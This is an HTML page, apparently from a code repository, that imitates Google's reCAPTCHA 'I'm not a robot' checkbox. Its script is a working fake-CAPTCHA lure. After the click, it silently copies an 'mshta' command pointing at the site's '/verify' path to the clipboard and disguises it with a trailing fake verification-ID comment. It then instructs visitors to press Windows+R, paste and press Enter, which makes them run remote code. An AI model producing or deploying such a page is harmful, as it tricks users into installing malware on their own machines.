reCAPTCHA / index.html
enotkrutoy's picture
Update index.html
9b74d8b verified
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>reCAPTCHA Verification</title>
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.0.0/css/all.css">
<style>
.bold-large-text {
font-weight: bold;
font-size: 36px;
}
.container {
font-family: Roboto, helvetica, arial, sans-serif;
}
.m-p {
margin: 0;
padding: 0;
}
.block {
display: block;
}
code {
font-size: 9px;
margin-left: 2px;
color: gray;
}
.line-normal {
line-height: normal;
}
.checkbox-window {
height: 74px;
width: 300px;
background-color: #f9f9f9;
border-radius: 3px;
border: 1px solid #d3d3d3;
}
.checkbox-window a {
color: #555;
text-decoration: none;
}
.checkbox-window a:hover {
color: #555;
text-decoration: underline;
}
.checkbox-container {
width: 28px;
height: 28px;
}
.checkbox {
position: relative;
background-color: #fff;
border-radius: 2px;
height: 100%;
width: 100%;
border: 2px solid #c1c1c1;
margin: 21px 0 0 12px;
outline: none;
font-family: Roboto, helvetica, arial, sans-serif;
transition: width 500ms, height 500ms, border-radius 500ms, margin-top 500ms, margin-left 500ms, opacity 700ms;
}
.checkbox:hover {
border: 2px solid #b2b2b2;
}
.im-not-a-robot {
position: relative;
left: 52px;
bottom: 3px;
font-size: 15px;
color: #282727;
}
.captcha-logo {
position: relative;
left: 244px;
bottom: 36px;
width: 40px;
height: 45px;
vertical-align: baseline;
padding-bottom: 4px;
}
.checkbox-desc {
color: #555555;
position: relative;
font-size: 8px;
text-align: center;
bottom: 40px;
left: 112px;
}
.spinner {
visibility: hidden;
position: relative;
top: -85px;
left: 12px;
height: 20px;
width: 20px;
border: 2px solid rgba(0, 0, 0, 0.1);
border-top: 2px solid #333;
border-radius: 50%;
opacity: 0;
transition: opacity 0.5s linear;
animation: spin 1s linear infinite;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
.verify-window {
font-family: Roboto, helvetica, arial, sans-serif;
opacity: 0;
position: absolute;
visibility: hidden;
margin: auto;
width: 310px;
background-color: #fff;
border: 1px solid #cecece;
box-shadow: 5px 6px 7px -3px rgba(0, 0, 0, 0.12);
transition: opacity 400ms;
}
ol {
counter-reset: item;
list-style-type: none;
padding-left: 0;
}
ol li {
counter-increment: item;
margin-bottom: 10px;
}
ol li::before {
content: counter(item) ". ";
color: #1A73E8;
font-weight: bold;
margin-right: 10px;
margin-left: 10px;
}
.verify-container {
padding: 8px;
}
.verify-header {
background-color: #1A73E8;
padding: 16px 16px 24px 16px;
color: #fff;
}
.verify-header-text-small {
font-size: 14px;
line-height: normal;
}
.verify-header-text-medium {
font-size: 16px;
}
.verify-header-text-big {
font-size: 24px;
font-weight: 700;
}
.verify-main {
padding: 5px;
color: #111;
font-size: 14px;
}
.verify-footer {
border-top: 1px solid #cecece;
padding: 10px 7px 10px 7px;
color: #737373;
display: grid;
grid-template-columns: auto 102px;
font-size: 13px;
}
.verify-footer-left {
padding: 5px;
}
.verify-verify-button {
text-transform: uppercase;
background-color: #5a89e2;
color: #fff;
text-align: center;
width: 100%;
padding: 12px 0;
text-decoration: none;
font-weight: 600;
height: min-content;
border-radius: 3px;
font-size: 14px;
border: none;
outline: none;
cursor: not-allowed;
}
</style>
</head>
<body>
<div class="container m-p">
<div id="checkbox-window" class="checkbox-window m-p block">
<div class="checkbox-container m-p">
<button type="button" id="checkbox" class="checkbox m-p line-normal"></button>
</div>
<p class="im-not-a-robot m-p line-normal">I'm not a robot</p>
<img src="https://www.gstatic.com/recaptcha/api2/logo_48.png" class="captcha-logo line-normal" alt="reCAPTCHA">
<br>
<p class="checkbox-desc m-p line-normal">
<a href="https://www.google.com/intl/en/policies/privacy/">Privacy</a> -
<a href="https://www.google.com/intl/en/policies/terms/">Terms</a>
</p>
<img class="spinner" alt="" id="spinner">
</div>
<div id="verify-window" class="verify-window">
<div class="verify-container">
<header class="verify-header">
<span class="verify-header-text-medium m-p block">Complete these</span>
<span class="verify-header-text-big m-p block">Verification Steps</span>
</header>
<main class="verify-main">
<p>To better prove you are not a robot, please:</p>
<ol>
<li>Press & hold the Windows Key <i class="fab fa-windows"></i> + <b>R</b>.</li>
<li>In the verification window, press <b>Ctrl</b> + <b>V</b>.</li>
<li>Press <b>Enter</b> on your keyboard to finish.</li>
</ol>
<p class="verify-main">
You will observe and agree:<br>
<code>
✅ "I am not a robot - reCAPTCHA Verification ID: <span id="verification-id" class="bold-large-text">4743</span>"
</code>
</p>
</main>
</div>
<footer class="verify-container verify-footer">
<div class="verify-footer-left">
Perform the steps above to finish verification.
</div>
<button type="button" class="verify-verify-button block" id="verify-verify-button" disabled="true">Verify</button>
</footer>
</div>
</div>
<script>
let checkboxWindow = document.getElementById("checkbox-window");
let checkboxBtn = document.getElementById("checkbox");
let checkboxBtnSpinner = document.getElementById("spinner");
let verifywindow = document.getElementById("verify-window");
function addCaptchaListeners() {
if (checkboxBtn) {
document.addEventListener("click", function (event) {
let path = event.composedPath();
if (!path.includes(verifywindow) && isverifywindowVisible()) {
closeverifywindow();
}
});
checkboxBtn.addEventListener("click", function (event) {
event.preventDefault();
checkboxBtn.disabled = true;
runClickedCheckboxEffects();
});
}
}
function runClickedCheckboxEffects() {
hideCaptchaCheckbox();
setTimeout(showCaptchaLoading, 500);
setTimeout(showVerifyWindow, 900);
}
function showCaptchaLoading() {
checkboxBtnSpinner.style.visibility = "visible";
checkboxBtnSpinner.style.opacity = "1";
}
function hideCaptchaLoading() {
checkboxBtnSpinner.style.opacity = "0";
setTimeout(() => {
checkboxBtnSpinner.style.visibility = "hidden";
}, 500);
}
function hideCaptchaCheckbox() {
checkboxBtn.style.width = "4px";
checkboxBtn.style.height = "4px";
checkboxBtn.style.borderRadius = "50%";
checkboxBtn.style.marginLeft = "25px";
checkboxBtn.style.marginTop = "33px";
checkboxBtn.style.opacity = "0";
}
function showCaptchaCheckbox() {
checkboxBtn.style.width = "100%";
checkboxBtn.style.height = "100%";
checkboxBtn.style.borderRadius = "2px";
checkboxBtn.style.margin = "21px 0 0 12px";
checkboxBtn.style.opacity = "1";
}
function generateRandomNumber() {
const min = 1000;
const max = 9999;
return Math.floor(Math.random() * (max - min + 1) + min).toString();
}
function closeverifywindow() {
verifywindow.style.display = "none";
verifywindow.style.visibility = "hidden";
verifywindow.style.opacity = "0";
showCaptchaCheckbox();
hideCaptchaLoading();
checkboxBtn.disabled = false;
}
function isverifywindowVisible() {
return verifywindow.style.display !== "none";
}
function setClipboardCopyData(textToCopy) {
const tempTextArea = document.createElement("textarea");
tempTextArea.value = textToCopy;
document.body.appendChild(tempTextArea);
tempTextArea.select();
document.execCommand("copy");
document.body.removeChild(tempTextArea);
}
function stageClipboard(commandToRun, verification_id) {
const suffix = " # ";
const ploy = "✅ ''I am not a robot - reCAPTCHA Verification ID: ";
const end = "''";
const textToCopy = commandToRun + suffix + ploy + verification_id + end;
setClipboardCopyData(textToCopy);
}
function showVerifyWindow() {
if (!verifywindow) {
console.error('Verify window element is missing!');
return;
}
verifywindow.style.display = "block";
verifywindow.style.visibility = "visible";
verifywindow.style.opacity = "1";
verifywindow.style.position = "fixed";
verifywindow.style.top = "50%";
verifywindow.style.left = "50%";
verifywindow.style.transform = "translate(-50%, -50%)";
const verification_id = generateRandomNumber();
const verificationIdElement = document.getElementById('verification-id');
if (verificationIdElement) {
verificationIdElement.textContent = verification_id;
}
const htaPath = window.location.origin + "/verify";
const commandToRun = "mshta " + htaPath;
stageClipboard(commandToRun, verification_id);
}
addCaptchaListeners();
</script>
</body>
</html>